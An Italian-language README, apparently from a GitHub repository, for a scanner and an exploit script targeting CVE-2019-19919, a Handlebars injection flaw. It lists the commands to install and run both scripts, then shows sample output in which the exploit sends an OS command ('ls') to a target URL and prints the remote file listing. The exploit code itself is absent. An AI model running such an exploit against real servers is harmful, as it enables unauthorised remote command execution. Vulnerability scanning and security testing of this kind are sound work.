fazilbaig1/cve-2019-19919Vulnerabilità di neutralizzazione impropria di elementi speciali nell'output utilizzato da un componente a valle ('Iniezione') in Handlebars
Vulnerabilità di neutralizzazione impropria degli elementi speciali nell'output utilizzato da un componente a valle ('Injection') in Handlebars
pip install requests packaging
python handlebars_scanner.py
pip install requests
python handlebars_exploit.py
Inserisci l'URL di destinazione:
Output previsto dell'exploit : Inserisci l'URL di destinazione (es., http://example.com/render): http://example.com/render
Inserisci il comando del sistema operativo da eseguire: ls
[+] Invio del payload dell'exploit a http://example.com/render...
[+] Payload eseguito correttamente.
[+] Risposta:
file1.txt file2.txt
